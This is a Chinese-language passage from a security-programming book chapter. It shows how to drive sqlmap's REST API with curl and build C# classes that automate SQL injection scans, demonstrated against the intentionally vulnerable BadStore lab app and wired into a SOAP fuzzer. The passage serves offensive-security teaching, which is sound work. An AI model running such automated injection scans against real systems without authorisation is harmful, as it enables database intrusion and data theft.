通常,sqlmap 是在命令行中通过我们在本章之前讨论过的 Python 脚本运行的,但 Python 命令会隐藏 sqlmap 在后台的操作,不能让我们看到每个 API 调用如何工作。为了直接体验使用 sqlmap API,我们将使用 curl,它是一个通常用于发送 HTTP 请求并查看请求响应的命令行工具。例如,列表 9-5 展示了如何通过调用 sqlmap 正在监听的端口来创建一个新的 sqlmap 任务。
$ curl ➊127.0.0.1:8775/task/new
{
➋"taskid": "dce7f46a991c5238",
"success": true
}
列表 9-5: 使用 curl 创建一个新的 sqlmap 任务
这里,端口是 127.0.0.1:8775 ➊。这会在任务 ID 后返回一个新任务 ID,并且跟随一个冒号 ➋。在发送此 HTTP 请求之前,请确保你的 sqlmap 服务器正在运行,正如在示例 9-2 中所示。
在用 curl 向 /task/new 端点发送简单的 GET 请求后,sqlmap 会返回一个新的任务 ID,供我们使用。我们将使用这个任务 ID 进行其他 API 调用,包括启动和停止任务以及获取任务结果。要查看给定任务 ID 所有可用的扫描选项列表,可以调用 /option/taskid/list 端点,并替换为你之前创建的 ID,如示例 9-6 所示。请注意,我们在 API 端点请求中使用的是与示例 9-5 中返回的任务 ID 相同的任务 ID。了解任务的选项对于稍后启动 SQL 注入扫描非常重要。
$ curl 127.0.0.1:8775/option/dce7f46a991c5238/list
{
"options": {
"crawlDepth": null,
"osShell": false,
➊"getUsers": false,
➋"getPasswordHashes": false,
"excludeSysDbs": false,
"uChar": null,
--snip--
➌"tech": "BEUSTQ",
"textOnly": false,
"commonColumns": false,
"keepAlive": false
}
}
示例 9-6:列出给定任务 ID 的选项
这些任务选项中的每一个都对应于命令行 sqlmap 工具中的命令行参数。这些选项告诉 sqlmap 如何执行 SQL 注入扫描,以及它应该如何利用发现的注入点。在示例 9-6 中展示了其中一个有趣的选项,它用于设置要测试的注入技术(tech);这里它被设置为默认的 BEUSTQ,测试所有类型的 SQL 注入 ➌。你还可以看到用于导出用户数据库的选项,在这个例子中该选项被关闭 ➊,以及导出密码哈希的选项,这个选项也被关闭 ➋。如果你对所有选项的作用感兴趣,可以在命令行中运行 sqlmap --help 查看选项的描述和用法。
在创建任务并查看其当前设置的选项后,我们可以设置其中一个选项并启动扫描。要设置特定选项,我们需要发送一个 POST 请求,并包含一些数据,告诉 sqlmap 要设置哪些选项。示例 9-7 详细说明了如何使用 curl 启动 sqlmap 扫描以测试新 URL。
$ curl ➊-X POST ➋-H "Content-Type:application/json" \
➌--data '{"url":"http://10.37.129.3/cgi-bin/badstore.cgi?searchquery=fdsa&action=search"}' \
➍http://127.0.0.1:8775/scan/dce7f46a991c5238/start
{
"engineid": 7181,
"success": true➎
}
示例 9-7:使用 sqlmap API 以新选项启动扫描
这个 POST 请求命令看起来与 示例 9-5 中的 GET 请求不同,但实际上非常相似。首先,我们将命令指定为 POST 请求 ➊。然后,我们通过将设置选项的名称放在引号中(例如 "url"),后面跟一个冒号,再加上设置该选项的数据 ➌,来列出要发送到 API 的数据。我们使用 -H 参数定义一个新的 HTTP 头来指定数据的内容类型为 JSON ➋,这确保了 sqlmap 服务器的 Content-Type 头会被正确设置为 application/json MIME 类型。然后,我们使用与 示例 9-6 中的 GET 请求相同的 API 调用格式,发起一个 POST 请求,并指定端点 /scan/taskid/start ➍。
扫描启动后,sqlmap 报告成功 ➎,接下来我们需要获取扫描状态。我们可以使用简单的 curl 命令通过状态端点来实现,如 示例 9-8 所示。
$ curl 127.0.0.1:8775/scan/dce7f46a991c5238/status
{
➊"status": "terminated",
"returncode": 0,
"success": true
}
示例 9-8: 获取扫描状态
扫描完成后,sqlmap 会将扫描的状态更改为 terminated ➊。扫描终止后,我们可以使用日志端点来检索扫描日志,并查看 sqlmap 在扫描过程中是否发现了任何问题,如 示例 9-9 所示。
$ curl 127.0.0.1:8775/scan/dce7f46a991c5238/log
{
"log": [
{
➊"message": "正在刷新会话文件",
➋"level": "INFO",
➌"time": "09:24:18"
},
{
"message": "正在测试与目标 URL 的连接",
"level": "INFO",
"time": "09:24:18"
},
--snip--
],
"success": true
}
示例 9-9: 请求扫描日志
sqlmap 扫描日志是一个状态数组,每个状态都包括消息 ➊、消息级别 ➋ 和时间戳 ➌。扫描日志让我们能够清楚地看到在对给定 URL 进行 sqlmap 扫描期间发生的事情,包括任何可注入的参数。一旦扫描完成并获得结果,我们应该进行清理以节省资源。当我们完成任务时,可以通过调用 /task/taskid/delete 来删除刚创建的任务,如 示例 9-10 所示。API 中可以自由创建和删除任务,因此可以随意创建新的任务,进行尝试,然后删除它们。
$ curl 127.0.0.1:8775/task/dce7f46a991c5238/delete➊
{
"success": true➋
}
示例 9-10: 在 sqlmap API 中删除任务
在调用 /task/taskid/delete 端点 ➊ 后,API 将返回任务的状态以及是否成功删除 ➋。现在我们已经掌握了创建、运行和删除 sqlmap 扫描的基本工作流程,可以开始着手编写 C# 类来自动化整个过程。
正在为 sqlmap 创建会话
使用 REST API 不需要身份验证,因此我们可以轻松地使用会话/管理器模式,这是一种类似于前几章中其他 API 模式的简单模式。该模式允许我们将协议的传输(即如何与 API 通信)与协议暴露的功能(即 API 可以做什么)分开。我们将实现 SqlmapSession 和 SqlmapManager 类,以驱动 sqlmap API 自动发现并利用注入漏洞。
我们将首先编写 SqlmapSession 类。该类如 清单 9-11 所示,只需要一个构造函数和两个名为 ExecuteGet() 和 ExecutePost() 的方法。这些方法将完成我们将编写的两个类的大部分工作。它们将发起 HTTP 请求(分别用于 GET 和 POST 请求),使我们的类能够与 sqlmap REST API 进行通信。
public class ➊SqlmapSession : IDisposable
{
private string _host = string.Empty;
private int _port = 8775; // 默认端口
public ➋SqlmapSession(string host, int port = 8775)
{
_host = host;
_port = port;
}
public string ➌ExecuteGet(string url)
{
return string.Empty;
}
public string ➍ExecutePost(string url, string data)
{
return string.Empty;
}
public void ➎Dispose()
{
_host = null;
}
}
清单 9-11:SqlmapSession 类
我们首先创建一个名为 SqlmapSession ➊ 的公共类,该类将实现 IDisposable 接口。这使我们能够在使用语句中使用 SqlmapSession,从而写出更简洁的代码,并通过垃圾回收管理变量。我们还声明了两个私有字段,一个主机和一个端口,我们将在发起 HTTP 请求时使用它们。我们默认将 _host 变量赋值为 string.Empty。这是 C# 的一项特性,它允许你在不实际实例化字符串对象的情况下将空字符串赋值给变量,从而稍微提高性能(但目前只是为了赋一个默认值)。我们将 _port 变量赋值为 sqlmap 监听的端口,默认为 8775。
在声明私有字段后,我们创建一个构造函数,接受两个参数 ➋:主机和端口。我们将私有字段赋值为传递给构造函数的参数值,以便连接到正确的 API 主机和端口。我们还声明了两个占位方法,用于执行 GET 和 POST 请求,暂时返回 string.Empty。接下来,我们将定义这些方法。ExecuteGet() 方法 ➌ 只需要一个 URL 作为输入。ExecutePost() 方法 ➍ 需要一个 URL 和要发布的数据。最后,我们编写 Dispose() 方法 ➎,这是实现 IDisposable 接口时必需的。在此方法中,我们通过将私有字段的值赋为 null 来清理它们。
创建一个执行 GET 请求的方法
清单 9-12 显示了如何使用 WebRequest 实现两个被占位的方法中的第一个,以执行 GET 请求并返回一个字符串。
public string ExecuteGet(string url)
{
HttpWebRequest req = (HttpWebRequest)WebRequest.➊Create("http://" + _host + ":" + _port + url);
req.Method = "GET";
string resp = string.Empty;
➋using (StreamReader rdr = new StreamReader(req.GetResponse().GetResponseStream()))
resp = rdr.➌ReadToEnd();
return resp;
}
示例 9-12:ExecuteGet() 方法
我们使用 _host、_port 和 url 变量创建一个 WebRequest ➊ 来构建完整的 URL,并将 Method 属性设置为 GET。接下来,我们执行请求 ➋ 并通过 ReadToEnd() ➌ 将响应读取到字符串中,然后返回给调用方法。当你实现 SqlmapManager 时,你将使用 Json.NET 库来反序列化字符串中返回的 JSON,以便轻松提取其中的值。反序列化是将字符串转换为 JSON 对象的过程,而序列化是相反的过程。
执行 POST 请求
ExecutePost() 方法比 ExecuteGet() 方法稍微复杂一些。由于 ExecuteGet() 只能发起简单的 HTTP 请求,ExecutePost() 允许我们发送包含更多数据(如 JSON)的复杂请求。它还将返回一个包含 JSON 响应的字符串,该字符串将被 SqlmapManager 反序列化。示例 9-13 展示了如何实现 ExecutePost() 方法。
public string ExecutePost(string url, string data)
{
byte[] buffer = ➊Encoding.ASCII.GetBytes(data);
HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://"+_host+":"+_port+url);
req.Method = "POST"➋;
req.ContentType = "application/json"➌;
req.ContentLength = buffer.Length;
using (Stream stream = req.GetRequestStream())
stream.➍Write(buffer, 0, buffer.Length);
string resp = string.Empty;
using (StreamReader r = new StreamReader(req.GetResponse().GetResponseStream()))
resp = r.➎ReadToEnd();
return resp;
}
示例 9-13:ExecutePost() 方法
这与我们在第二章和第三章进行 POST 请求模糊测试时写的代码非常相似。此方法需要两个参数:一个绝对 URI 和要发送到方法的数据。Encoding 类 ➊(在 System.Text 命名空间中可用)用于创建表示要发送数据的字节数组。然后,我们创建一个 WebRequest 对象并像在 ExecuteGet() 方法中一样进行设置,只是我们将 Method 设置为 POST ➋。注意,我们还指定了 ContentType 为 application/json ➌,并且 ContentLength 匹配字节数组的长度。由于我们将发送 JSON 数据到服务器,因此我们需要在 HTTP 请求中设置适当的内容类型和数据长度。WebRequest 设置完成后,我们通过 ➍ 将字节数组写入请求的 TCP 流(即计算机与 HTTP 服务器之间的连接),将 JSON 数据作为 HTTP 请求体发送到服务器。最后,我们将 HTTP 响应读取 ➎ 为一个字符串,并返回给调用方法。
测试 Session 类
现在我们准备编写一个小应用程序,在Main()方法中测试新的 SqlmapSession 类。我们将创建一个新任务,调用我们的方法,然后删除该任务,如清单 9-14 所示。
public static void Main(string[] args)
{
string host = ➊args[0];
int port = int.Parse(args[1]);
using (SqlmapSession session = new ➋SqlmapSession(host, port))
{
string response = session.➌ExecuteGet("/task/new");
JToken token = JObject.Parse(response);
string taskID = token.➍SelectToken("taskid").ToString();
➎Console.WriteLine("新任务 ID: " + taskID);
Console.WriteLine("正在删除任务: " + taskID);
➏response = session.ExecuteGet("/task/" + taskID + "/delete");
token = JObject.Parse(response);
bool success = (bool)token.➐SelectToken("success");
Console.WriteLine("删除成功: " + success);
}
}
清单 9-14:我们 sqlmap 控制台应用程序的 Main()方法
Json.NET 库使得在 C#中处理 JSON 变得简单(如你在第五章中看到的)。我们从程序传入的第一个和第二个参数分别获取 host 和 port➊。然后我们使用 int.Parse()将字符串参数解析为整数形式的端口。尽管我们在这一整章中一直使用端口 8775,但由于端口是可配置的(8775 只是默认值),我们不应该假设它总是 8775。当我们为变量赋值后,我们使用传入程序的参数实例化一个新的 SqlmapSession➋。然后我们调用/task/new 端点➌来获取一个新的任务 ID,并使用 JObject 类解析返回的 JSON。一旦解析了响应,我们使用 SelectToken()方法➍来获取 taskid 键的值,并将该值赋给 taskID 变量。
注意
C#中的一些标准类型具有 Parse()方法,就像我们刚才使用的 int.Parse()方法一样。int 类型是 Int32,因此它将尝试解析一个 32 位整数。Int16 是短整数,因此 short.Parse()将尝试解析一个 16 位整数。Int64 是长整数,long.Parse()将尝试解析一个 64 位整数。DateTime 类上也有一个有用的 Parse()方法。这些方法都是静态的,因此不需要实例化对象。
在将新任务 ID 打印到控制台➎后,我们可以通过调用/task/taskid/delete 端点➏来删除任务。我们再次使用 JObject 类来解析 JSON 响应,然后获取 success 键的值➐,将其转换为布尔值,并赋值给 success 变量。这个变量会被打印到控制台,显示任务是否成功删除。当你运行该工具时,它会输出关于创建和删除任务的内容,如清单 9-15 所示。
$ mono ./ch9_automating_sqlmap.exe 127.0.0.1 8775
新任务 ID: 96d9fb9d277aa082
删除任务: 96d9fb9d277aa082
删除成功: True 清单 9-15:运行创建 sqlmap 任务并删除它的程序
一旦我们知道可以成功创建和删除任务,我们就可以创建 SqlmapManager 类来封装未来我们想要使用的 API 功能,例如设置扫描选项和获取扫描结果。
SqlmapManager 类
SqlmapManager 类,如列表 9-16 所示,封装了通过 API 暴露的方法,以一种易于使用(并且易于维护!)的方式。当我们完成本章所需的方法编写后,我们可以开始扫描给定的 URL,监控直到完成,然后获取结果并删除任务。我们还将大量使用 Json.NET 库。再重申一遍,session/manager 模式的目标是将 API 的传输与 API 暴露的功能分离。这个模式的一个附加好处是,它允许使用库的程序员专注于结果 API 调用。然而,程序员仍然可以在需要时直接与 session 交互。
public class ➊SqlmapManager : IDisposable
{
private ➋SqlmapSession _session = null;
public ➌SqlmapManager(SqlmapSession session)
{
if (session == null)
throw new ArgumentNullException("session");
_session = session;
}
public void ➍Dispose()
{
_session.Dispose();
_session = null;
}
}
列表 9-16:SqlmapManager 类
我们声明了 SqlmapManager 类 ➊ 并使其实现 IDisposable 接口。我们还声明了一个私有字段 ➋ 用于 SqlmapSession,该字段将在整个类中使用。接着,我们创建了 SqlmapManager 构造函数 ➌,它接受一个 SqlmapSession,并将该 session 分配给私有 _session 字段。
最后,我们实现了 Dispose() 方法 ➍,该方法用于清理私有的 SqlmapSession。你可能会想,为什么我们让 SqlmapSession 和 SqlmapManager 都实现 IDisposable,而在 SqlmapManager 的 Dispose() 方法中,我们又调用了 SqlmapSession 的 Dispose() 方法。一个程序员可能只想实例化一个 SqlmapSession,并直接与它交互,以防有新的 API 端点引入,而该管理器尚未更新以支持这个新端点。让两个类都实现 IDisposable 提供了最大的灵活性。
由于我们在测试 SqlmapSession 类时已经实现了创建新任务和删除现有任务所需的方法(见列表 9-14),我们将在 SqlmapManager 类中将这些操作作为独立的方法添加到 Dispose() 方法之前,如列表 9-17 所示。
public string NewTask()
{
JToken tok = JObject.Parse(_session.ExecuteGet("/task/new"));
➊return tok.SelectToken("taskid").ToString();
}
public bool DeleteTask(string taskid)
{
JToken tok = Jobject.Parse(session.ExecuteGet("/task/" + taskid + "/delete"));
➋return (bool)tok.SelectToken("success");
}
列表 9-17:管理 sqlmap 任务的 NewTask() 和 DeleteTask() 方法
NewTask() 和 DeleteTask() 方法使得在 SqlmapManager 类中按需创建和删除任务变得容易,它们几乎与清单 9-14 中的代码完全相同,唯一不同的是它们打印的输出较少,并且在创建新任务 ➊ 后返回任务 ID,或者在删除任务时返回结果(成功或失败) ➋。
现在我们可以使用这些新方法来重写之前的命令行应用程序,用于测试 SqlmapSession 类,如在清单 9-18 中所见。
public static void Main(string[] args)
{
string host = args[0];
int port = int.Parse(args[1]);
using (SqlmapManager mgr = new SqlmapManager(new SqlmapSession(host, port)))
{
string taskID = mgr.➊NewTask();
Console.WriteLine("已创建任务: " + taskID);
Console.WriteLine("正在删除任务");
bool success = mgr.➋DeleteTask(taskID);
Console.WriteLine("删除成功: " + success);
} //自动清理并释放管理器
}
清单 9-18:重写应用程序以使用 SqlmapManager 类
这段代码比原始应用程序在清单 9-14 中的代码更易于快速阅读和理解。我们已经用 NewTask() ➊ 和 DeleteTask() ➋ 方法替代了创建和删除任务的代码。仅通过阅读代码,你无法知道 API 使用 HTTP 作为传输协议,或者我们在处理 JSON 响应。
清单 sqlmap 选项
接下来的方法我们将实现(如在清单 9-19 中所示)用于获取任务的当前选项。有一点需要注意的是,由于 sqlmap 是用 Python 编写的,它是弱类型的。这意味着某些响应将包含多种类型的混合,这在 C# 中(它是强类型的)可能有点难以处理。JSON 要求所有键都必须是字符串,但 JSON 中的值可能具有不同的类型,例如整数、浮点数、布尔值和字符串。这意味着我们必须尽可能地将所有值作为通用对象处理,在 C# 中使用简单的对象,直到我们需要知道它们的具体类型。
public Dictionary<string, object> ➊GetOptions(string taskid)
{
Dictionary<string, object> options = ➋new Dictionary<string, object>();
JObject tok = JObject.➌Parse(_session.ExecuteGet ("/option/" + taskid + "/list"));
tok = tok["options"] as JObject;
➍foreach (var pair in tok)
options.Add(pair.Key, ➎pair.Value);
return ➏options;
}
清单 9-19:GetOptions() 方法
GetOptions()方法➊在第 9-19 节中接受一个参数:用于检索选项的任务 ID。此方法将使用与在第 9-5 节中测试 sqlmap API 时使用的相同 API 端点,我们通过 curl 进行测试。我们通过实例化一个新的 Dictionary ➋开始该方法,该字典要求键是字符串,但允许您将任何类型的对象存储为该对的另一个值。在进行 API 调用到选项端点并解析响应 ➌后,我们遍历从 API 返回的 JSON 响应中的键/值对 ➍并将其添加到选项字典 ➎中。最后,返回任务的当前设置选项 ➏,以便我们可以更新它们并在开始扫描时使用它们。
我们将在稍后实现的 StartTask()方法中使用此选项字典,将选项作为参数传递,以便启动任务。不过,首先,请继续在第 9-20 节中添加以下几行代码到您的控制台应用程序中,这些行应该在调用 mgr.NewTask()后,但在使用 mgr.DeleteTask()删除任务之前。
Dictionary<string, object> ➊options = mgr.GetOptions(➋taskID);
➌ foreach (var pair in options)
Console.WriteLine("Key: " + pair.Key + "\t:: Value: " + pair.Value); 第 9-20 节:将以下几行添加到主应用程序中,以检索并打印当前任务选项
在这段代码中,任务 ID 作为参数传递给 GetOptions() ➋,返回的选项字典被赋值给一个新的 Dictionary,也叫 options ➊。然后,代码遍历选项并打印出每个键/值对 ➌。添加这些行后,在 IDE 或控制台中重新运行您的应用程序,您应该会看到打印到控制台的完整选项列表以及它们当前的值。这在第 9-21 节中展示。
$ mono ./ch9_automating_sqlmap.exe 127.0.0.1 8775
Key: crawlDepth ::Value:
Key: osShell ::Value: False
Key: getUsers ::Value: False
Key: getPasswordHashes ::Value: False
Key: excludeSysDbs ::Value: False
Key: uChar ::Value:
Key: regData ::Value:
Key: prefix ::Value:
Key: code ::Value:
--snip--
第 9-21 节:获取选项后打印任务选项到屏幕
现在我们能够看到任务选项了,接下来是时候执行扫描了。
创建执行扫描的方法
现在我们准备好准备任务以执行扫描。在我们的选项字典中,我们有一个键是 url,这就是我们将测试 SQL 注入的 URL。我们将修改后的字典传递给一个新的 StartTask()方法,该方法将字典作为 JSON 对象发布到端点,并在任务开始时使用新的选项。
使用 Json.NET 库使得 StartTask()方法非常简短,因为它为我们处理了所有的序列化和反序列化,就像第 9-22 节所示。
public bool StartTask(string taskID, Dictionary<string, object> opts)
{
string json = JsonConvert.➊SerializeObject(opts);
JToken tok = JObject.➋Parse(session.ExecutePost("/scan/"+taskID+"/start", json));
➌return(bool)tok.SelectToken("success");
}
清单 9-22:StartTask()方法
我们使用 Json.NET 的 JsonConvert 类将整个对象转换为 JSON。SerializeObject()方法 ➊ 用于获取表示选项字典的 JSON 字符串,我们可以将其发送到端点。然后,我们发出 API 请求并解析 JSON 响应 ➋。最后,我们返回 ➌ JSON 响应中 success 键的值,希望它为 true。此 JSON 键应始终出现在该 API 调用的响应中,当任务成功启动时为 true,如果任务未启动,则为 false。
了解任务是否完成也是很有用的。这样,你就能知道何时可以获取任务的完整日志以及何时删除任务。为了获取任务的状态,我们实现了一个小类(见清单 9-23),该类表示来自/scan/taskid/status API 端点的 sqlmap 状态响应。如果你愿意,可以将其添加到一个新的类文件中,尽管它是一个超短类。
public class SqlmapStatus
{
➊public string Status { get; set; }
➋public int ReturnCode { get; set; }
}
清单 9-23:SqlmapStatus 类
对于 SqlmapStatus 类,我们不需要定义构造函数,因为默认情况下,每个类都有一个公共构造函数。我们在类中定义了两个公共属性:一个字符串状态消息 ➊ 和一个整数返回代码 ➋。为了获取任务状态并将其存储在 SqlmapStatus 中,我们实现了 GetScanStatus 方法,该方法接受 taskid 作为输入并返回一个 SqlmapStatus 对象。
GetScanStatus() 方法显示在清单 9-24 中。
public SqlmapStatus GetScanStatus(string taskid)
{
JObject tok = JObject.Parse(_session.➊ExecuteGet("/scan/" + taskid + "/status"));
SqlmapStatus stat = ➋new SqlmapStatus();
stat.Status = (string)tok["status"];
if (tok["returncode"].Type != JTokenType.Null➌)
stat.ReturnCode = (int)tok["returncode"];
➍return stat;
}
清单 9-24:GetScanStatus()方法
我们使用之前定义的 ExecuteGet()方法来检索/scan/taskid/status API 端点 ➊,该端点返回一个包含任务扫描状态信息的 JSON 对象。在调用 API 端点后,我们创建一个新的 SqlmapStatus 对象 ➋,并将 API 调用返回的状态值分配给 Status 属性。如果 returncode 的 JSON 值不为 null ➌,我们将其转换为整数并将结果分配给 ReturnCode 属性。最后,我们返回 ➍ SqlmapStatus 对象给调用者。
新的 Main()方法
现在我们将向命令行应用程序添加逻辑,以便扫描我们在第二章中利用的 BadStore 中的漏洞搜索页面并监控扫描。首先,在调用 DeleteTask 之前,向 Main()方法中添加清单 9-25 中显示的代码。
options["url"] = ➊"http://192.168.1.75/cgi-bin/badstore.cgi?" +
"searchquery=fdsa&action=search";
➋mgr.StartTask(taskID, options);
➌SqlmapStatus status = mgr.GetScanStatus(taskID);
➍while (status.Status != "terminated")
{
System.Threading.Thread.Sleep(new TimeSpan(0, 0, 10));
status = mgr.GetScanStatus(taskID);
}
➎ Console.WriteLine("扫描完成!"); Listing 9-25: 在主 sqlmap 应用程序中启动扫描并观察其完成
将 IP 地址 ➊ 替换为你希望扫描的 BadStore 的地址。在应用程序为 options 字典分配 url 键后,它将使用新选项 ➋ 启动任务并获取扫描状态 ➌,该状态应为运行中。然后,应用程序将循环 ➍,直到扫描状态为 terminated,这意味着扫描已经完成。应用程序将在退出循环后打印 "扫描完成!" ➎。
扫描报告
为了查看 sqlmap 是否能够利用任何脆弱的参数,我们将创建一个 SqlmapLogItem 类来检索扫描日志,如 Listing 9-26 所示。
public class SqlmapLogItem
{
public string Message { get; set; }
public string Level { get; set; }
public string Time { get; set; }
}
Listing 9-26: SqlmapLogItem 类
这个类只有三个属性:Message、Level 和 Time。Message 属性包含描述日志项的消息。Level 控制 sqlmap 在报告中打印的信息量,可能是 Error(错误)、Warn(警告)或 Info(信息)。每个日志项只有这三种级别之一,这使得后续查找特定类型的日志项变得简单(例如,当你只想打印错误而不想显示警告或信息时)。错误通常是致命的,而警告则意味着似乎有问题,但 sqlmap 仍然可以继续进行。信息项仅仅是扫描正在执行的基本信息,或者是它发现的内容,比如正在测试的注入类型。最后,Time 是日志项记录的时间。
接下来,我们实现 GetLog() 方法,返回这些 SqlmapLogItem 的列表,然后通过在 /scan/taskid/log 端点执行 GET 请求来检索日志,如 Listing 9-27 所示。
public List
GetLog(string taskid) {
JObject tok = JObject.Parse(session.➊ExecuteGet("/scan/" + taskid + "/log"));
JArray items = tok["log"]➋ as JArray;
List
logItems = new List (); ➌foreach (var item in items)
{
➍SqlmapLogItem i = new SqlmapLogItem(); i.Message = (string)item["message"];
i.Level = (string)item["level"];
i.Time = (string)item["time"];
logItems.Add(i);
}
➎return logItems;
}
Listing 9-27: GetLog() 方法
我们在 GetLog()方法中做的第一件事是向端点发出请求 ➊,并将请求解析为一个 JObject。日志键 ➋ 的值是一个项的数组,因此我们使用 as 运算符将其值提取为 JArray,并将其赋值给 items 变量 ➌。这可能是你第一次看到 as 运算符。我使用它的主要原因是为了提高可读性,但 as 运算符与显式转换的主要区别是,如果左侧的对象不能转换为右侧的类型,as 将返回 null。它不能用于值类型,因为值类型不能为 null。
一旦我们有了日志项数组,我们就创建了一个 SqlmapLogItem 的列表。我们遍历数组中的每个项,每次都实例化一个新的 SqlmapLogItem ➍。然后我们将新对象的值设置为 sqlmap 返回的日志项的值。最后,我们将日志项添加到列表中,并将列表返回给调用方法 ➎。
自动化完整的 sqlmap 扫描
扫描结束后,我们将从控制台应用程序调用 GetLog()并将日志信息打印到屏幕上。您应用程序的逻辑现在应该像 Listing 9-28 一样。
public static void Main(string[] args)
{
using (SqlmapSession session = new SqlmapSession("127.0.0.1", 8775))
{
using (SqlmapManager manager = new SqlmapManager(session))
{
string taskid = manager.NewTask();
Dictionary<string, object> options = manager.GetOptions(taskid);
options["url"] = args[0];
options["flushSession"] = true;
manager.StartTask(taskid, options);
SqlmapStatus status = manager.GetScanStatus(taskid);
while (status.Status != "terminated")
{
System.Threading.Thread.Sleep(new TimeSpan(0,0,10));
status = manager.GetScanStatus(taskid);
}
List
logItems = manager.➊GetLog(taskid); foreach (SqlmapLogItem item in logItems)
➋Console.WriteLine(item.Message);
manager.DeleteTask(taskid);
}
}
}
Listing 9-28:自动化 sqlmap 扫描 URL 的完整 Main()方法
在 sqlmap 主应用程序的末尾添加对 GetLog() ➊的调用后,我们可以遍历日志消息并将其打印到屏幕上 ➋,以便在扫描完成时查看。最后,我们准备运行完整的 sqlmap 扫描并获取结果。将 BadStore URL 作为参数传递给应用程序,将把扫描请求发送给 sqlmap。结果应类似于 Listing 9-29。
$ ./ch9_automating_sqlmap.exe "http://10.37.129.3/cgi-bin/badstore.cgi?
searchquery=fdsa&action=search"
刷新会话文件
正在测试与目标 URL 的连接
启发式检测到网页字符集为 'windows-1252'
正在检查目标是否受到某种 WAF/IPS/IDS 的保护
正在测试目标 URL 是否稳定
目标 URL 稳定
正在测试 GET 参数 'searchquery' 是否动态
确认 GET 参数 'searchquery' 是动态的
GET 参数 'searchquery' 是动态的
启发式检测到网页字符集为 'ascii'
启发式(基本)测试显示 GET 参数 'searchquery' 可能是
可注入
(可能的数据库管理系统:'MySQL')
–-省略--
GET 参数 'searchquery➊' 似乎是 'MySQL <= 5.0.11 或基于时间的盲注
(重查询)' 可注入
测试 '通用 UNION 查询 (NULL) - 1 到 20 列'
自动扩展 UNION 查询注入技术测试的范围
至少发现了其他一种(潜在的)技术
ORDER BY 技术似乎可用。这应该会减少所需的时间
查找正确数量的查询列。自动扩展范围用于
当前的 UNION 查询注入技术测试
目标 URL 似乎在查询中有 4 列
GET 参数 'searchquery➋' 是 '通用 UNION 查询 (NULL) - 1 到 20
列的可注入性
后端 DBMS 是 MySQL➌
列表 9-29:在易受攻击的 BadStore URL 上运行 sqlmap 应用程序
它工作了!来自 sqlmap 的输出可能非常冗长,并且对不熟悉的人来说可能会有些混乱。但尽管它可能需要处理很多信息,仍然有几个关键点需要关注。如输出所示,sqlmap 发现 searchquery 参数容易受到基于时间的 SQL 注入 ➊,存在基于 UNION 的 SQL 注入 ➋,并且数据库是 MySQL ➌。其余的消息是有关 sqlmap 在扫描过程中所做的事情。凭借这些结果,我们可以确定这个 URL 至少容易受到两种 SQL 注入技术的攻击。
将 sqlmap 与 SOAP 模糊测试器集成
我们现在已经看到如何使用 sqlmap API 来审计和利用一个简单的 URL。在第二章和第三章中,我们为 SOAP 端点和 JSON 请求中易受攻击的 GET 和 POST 请求编写了一些模糊测试器。我们可以使用从模糊测试器收集的信息来驱动 sqlmap,并通过仅增加几行代码,从发现潜在的漏洞到完全验证并利用它们。
向 SOAP 模糊测试器添加 sqlmap GET 请求支持
在 SOAP 模糊测试器中只进行两种类型的 HTTP 请求:GET 和 POST 请求。首先,我们为我们的模糊测试器添加支持,使其能够将带有 GET 参数的 URL 发送给 sqlmap。我们还希望能够告诉 sqlmap 我们认为哪个参数可能存在漏洞。我们在 SOAP 模糊测试器控制台应用程序的底部添加了 TestGetRequestWithSqlmap() 和 TestPostRequestWithSqlmap() 方法,用于分别测试 GET 和 POST 请求。稍后的部分我们还将更新 FuzzHttpGetPort()、FuzzSoapPort() 和 FuzzHttpPostPort() 方法,以使用这两个新方法。
让我们开始编写 TestGetRequestWithSqlmap() 方法,如列表 9-30 所示。
static void TestGetRequestWithSqlmap(string url, string parameter)
{
Console.WriteLine("正在用 sqlmap 测试 URL: " + url);
➊using (SqlmapSession session = new SqlmapSession("127.0.0.1", 8775))
{
using (SqlmapManager manager = new SqlmapManager(session))
{
➋string taskID = manager.NewTask();
➌var options = manager.GetOptions(taskID);
options["url"] = url;
options["level"] = 1;
options["risk"] = 1;
options["dbms"] = ➍"postgresql";
options["testParameter"] = ➎parameter;
options["flushSession"] = true;
manager.➏StartTask(taskID, options); Listing 9-30: TestGetRequestWithSqlmap() 方法的前半部分
方法的前半部分创建了我们的 SqlmapSession ➊ 和 SqlmapManager 对象,我们分别称其为 session 和 manager。然后它创建了一个新任务 ➋,并检索并设置了用于扫描的 sqlmap 选项 ➌。由于我们知道 SOAP 服务使用 PostgreSQL,因此我们显式地将 DBMS 设置为 PostgreSQL ➍。这样可以通过仅测试 PostgreSQL 的 payload 来节省一些时间和带宽。我们还将 testParameter 选项设置为我们之前测试过并发现是易受攻击的参数 ➎,该参数在之前使用单引号进行测试时返回了服务器错误。然后,我们将任务 ID 和选项传递给 manager 的 StartTask() 方法 ➏,以开始扫描。
Listing 9-31 详细介绍了 TestGetRequestWithSqlmap() 方法的后半部分,类似于我们在 Listing 9-25 中编写的代码。
SqlmapStatus status = manager.GetScanStatus(taskid);
while (status.Status != ➊"terminated")
{
System.Threading.Thread.Sleep(new TimeSpan(0,0,10));
status = manager.GetScanStatus(taskID);
}
List
logItems = manager.➋GetLog(taskID); foreach (SqlmapLogItem item in logItems)
Console.➌WriteLine(item.Message);
manager.➍DeleteTask(taskID);
}
}
}
Listing 9-31: TestGetRequestWithSqlmap() 方法的后半部分
方法的后半部分监视扫描直到完成,就像我们最初的测试应用程序一样。由于我们之前已经编写过类似的代码,所以我不会逐行讲解。扫描完成后 ➊,我们使用 GetLog() ➋ 获取扫描结果。然后,我们将扫描结果写到屏幕上 ➌ 以供用户查看。最后,当任务 ID 被传递给 DeleteTask() 方法 ➍ 时,任务会被删除。
添加 sqlmap POST 请求支持
TestPostRequestWithSqlmap() 方法比它的同伴复杂一些。Listing 9-32 显示了该方法的起始部分。
static void TestPostRequestWithSqlmap(➊string url, string data,
string soapAction, string vulnValue)
{
➋Console.WriteLine("正在使用 sqlmap 测试 URL: " + url);
➌using (SqlmapSession session = new SqlmapSession("127.0.0.1", 8775))
{
using (SqlmapManager manager = new SqlmapManager(session))
{
➍string taskID = manager.NewTask();
var options = manager.GetOptions(taskID);
options["url"] = url;
options["level"] = 1;
options["risk"] = 1;
options["dbms"] = "postgresql";
options["data"] = data.➎Replace(vulnValue, "*").Trim();
options["flushSession"] = "true"; Listing 9-32: TestPostRequestWithSqlmap() 方法的起始部分
